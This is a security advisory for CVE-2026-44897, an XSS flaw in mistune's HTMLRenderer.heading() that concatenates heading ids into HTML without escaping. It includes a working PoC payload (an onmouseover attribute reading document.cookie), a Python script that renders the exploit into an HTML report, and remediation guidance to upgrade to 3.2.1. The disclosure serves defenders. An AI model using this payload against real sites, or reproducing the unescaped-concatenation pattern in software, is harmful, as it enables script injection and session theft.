CVE-2026-44897: Mistune Heading ID Attribute Injection XSS
Summary HTMLRenderer.heading() builds the opening <hN> tag by string-concatenating the id attribute value directly into the HTML — with no call to escape(), safeentity(), or any other sanitisation function. A double-quote character " in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element.
The default TOC hook assigns safe auto-incremented IDs (toc1, toc2, …) that never contain user text. However, the addtochook() API accepts a caller-supplied headingid callback. Deriving heading IDs from the heading text itself — to produce human-readable slug anchors like #installation or #getting-started — is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the id= attribute.
Details File: src/mistune/renderers/html.py
python def heading(self, text: str, level: int, attrs: Any) -> str: tag = "h" + str(level) html = "<" + tag id = attrs.get("id") if id: html += ' id="' + id + '"' # ← id is never escaped return html + ">" + text + "</" + tag + ">\n"
The text body (line content) is escaped upstream by the inline token renderer, which is why text arrives as " etc. But id arrives as a raw string directly from whatever the headingid callback returned — no escaping occurs at any point in the pipeline.
PoC Step 1 — Establish the baseline (safe default IDs)
The script creates a parser with escape=True and the default addtochook() (no custom headingid callback). The default hook generates sequential numeric IDs:
python mdsafe = createmarkdown(escape=True) addtochook(mdsafe) # default: headingid produces toc1, toc2, …
blsrc = "## Introduction\n" blout, = mdsafe.parse(blsrc)
Output — ID is auto-generated, no user text appears in it: html <h2 id="toc1">Introduction</h2>
Step 2 — Add the realistic trigger: a text-based headingid callback
Deriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, mkdocs, sphinx, jekyll all do this). The PoC uses the simplest possible version — return the raw heading text unchanged — to show the vulnerability without any extra transformation:
python def rawid(token, index): return token.get("text", "") # returns raw heading text as the ID
mdvuln = createmarkdown(escape=True) addtochook(mdvuln, headingid=rawid)
Step 3 — Craft the exploit payload
Construct a heading whose text contains a double-quote followed by an injected attribute:
foo" onmouseover="alert(document.cookie)" x="
When rawid is called, token["text"] is foo" onmouseover="alert(document.cookie)" x=". This is passed verbatim to heading() as the id attribute value.
Step 4 — Observe attribute breakout in the output
python exsrc = '## foo" onmouseover="alert(document.cookie)" x="\n' exout, = mdvuln.parse(exsrc)
Actual output: html <h2 id="foo" onmouseover="alert(document.cookie)" x="">foo" onmouseover="alert(document.cookie)" x="</h2>
Note: the heading body text is correctly escaped ("), but the id= attribute is not. A user who moves their mouse over the heading triggers alert(document.cookie). Any JavaScript payload can be substituted.
Script
A verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser.
python #!/usr/bin/env python3 """H2: HTMLRenderer.heading() inserts the id= value verbatim — no escaping.""" import os, html as h from mistune import createmarkdown from mistune.toc import addtochook
def rawid(token, index): return token.get("text", "")
--- baseline --- mdsafe = createmarkdown(escape=True) addtochook(mdsafe)
blfile = "baselineh2.md" blsrc = "## Introduction\n" with open(os.path.join(os.getcwd(), blfile), "w") as f: f.write(blsrc) blout, = mdsafe.parse(blsrc)
print(f"[{blfile}]\n{blsrc}") print("[output — id=toc1, no user content, safe]") print(blout)
--- exploit --- mdvuln = createmarkdown(escape=True) addtochook(mdvuln, headingid=rawid)
exfile = "exploith2.md" exsrc = '## foo" onmouseover="alert(document.cookie)" x="\n' with open(os.path.join(os.getcwd(), exfile), "w") as f: f.write(exsrc) exout, = mdvuln.parse(exsrc)
print(f"[{exfile}]\n{exsrc}") print("[output — headingid returns raw text, id= not escaped]") print(exout)
--- HTML report --- CSS = """ body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px} h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px} p.desc{color:#555;font-size:.9em;margin-top:6px} .case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)} .case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em} .baseline .case-header{background:#d1fae5;color:#065f46} .exploit .case-header{background:#fee2e2;color:#7f1d1d} .panels{display:grid;grid-template-columns:1fr 1fr;background:#fff} .panel{padding:16px} .panel+.panel{border-left:1px solid #eee} .panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em} pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all} .rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace} .rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em} """
def case(kind, label, filename, src, out): return f""" <div class="case {kind}"> <div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div> <div class="panels"> <div class="panel"> <h3>Input — {h.escape(filename)}</h3> <pre>{h.escape(src)}</pre> </div> <div class="panel"> <h3>Output — HTML source</h3> <pre>{h.escape(out)}</pre> <div class="rlabel">↓ rendered in browser (hover the heading to trigger onmouseover)</div> <div class="rendered">{out}</div> </div> </div> </div>"""
page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"> <title>H2 — Heading ID XSS</title><style>{CSS}</style></head><body> <h1>H2 — Heading ID XSS (unescaped id= attribute)</h1> <p class="desc">HTMLRenderer.heading() in renderers/html.py does html += ' id="' + id + '"' with no escaping. Triggered when headingid callback returns raw heading text — the most common doc-generator pattern.</p> {case("baseline", "Clean heading → sequential id=toc1, safe", blfile, blsrc, blout)} {case("exploit", "Malicious heading → quotes break out of id=, onmouseover injected", exfile, exsrc, exout)} </body></html>"""
outpath = os.path.join(os.getcwd(), "reporth2.html") with open(outpath, "w") as f: f.write(page) print(f"\n[report] {outpath}")
Example Usage: bash python poc.py
Once the script is run, open reporth2.html in the browser and observe the behaviour.
Impact | Dimension | Assessment | |------------------|-----------| | Confidentiality | Session cookie / auth token theft via JavaScript execution triggered on mouse interaction | | Integrity | DOM manipulation, phishing content injection, forced navigation | | Availability | Page freeze or crash available to attacker |
Risk context: This vulnerability targets the most common customisation point for heading IDs. Any documentation site, wiki, or blog engine that generates slug-style anchors from heading text is vulnerable if it uses mistune's headingid callback without independently sanitising the returned value.
Other sources
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, HTMLRenderer.heading() builds the opening <hN> tag by string-concatenating the id attribute value directly into the HTML — with no call to escape(), safeentity(), or any other sanitisation function. A double-quote character " in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element. This vulnerability is fixed in 3.2.1.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/mistuneto a version that resolves this vulnerability.Fixed in 3.2.1 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 3.2.1 - Configuration
Create the Markdown parser with escape=True (e.g., create_markdown(escape=True)) to ensure heading body text is escaped; note that the reported issue specifically concerns the id="..." attribute construction in HTMLRenderer.heading().
Mistune (Markdown parser) escape = True - Compensating control
If using mistune.toc.add_toc_hook() with a caller-supplied heading_id callback, ensure the callback output used as the heading id value is independently sanitized/escaped before it is returned, because HTMLRenderer.heading() inserts id= verbatim with no escaping.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-44897?
CVE-2026-44897 has a medium severity rating due to potential XSS (Cross-Site Scripting) vulnerabilities.
How do I fix CVE-2026-44897?
To fix CVE-2026-44897, update the 'mistune' package to version 3.2.1 or later to ensure proper sanitization of HTML tags.
What is the risk associated with CVE-2026-44897?
The risk associated with CVE-2026-44897 is that an attacker can exploit the vulnerability to execute arbitrary JavaScript in a user's browser.
Which versions of 'mistune' are affected by CVE-2026-44897?
CVE-2026-44897 affects 'mistune' versions 3.2.0 and earlier.
Who is impacted by CVE-2026-44897?
Developers and organizations using 'mistune' below version 3.2.1 are impacted by CVE-2026-44897.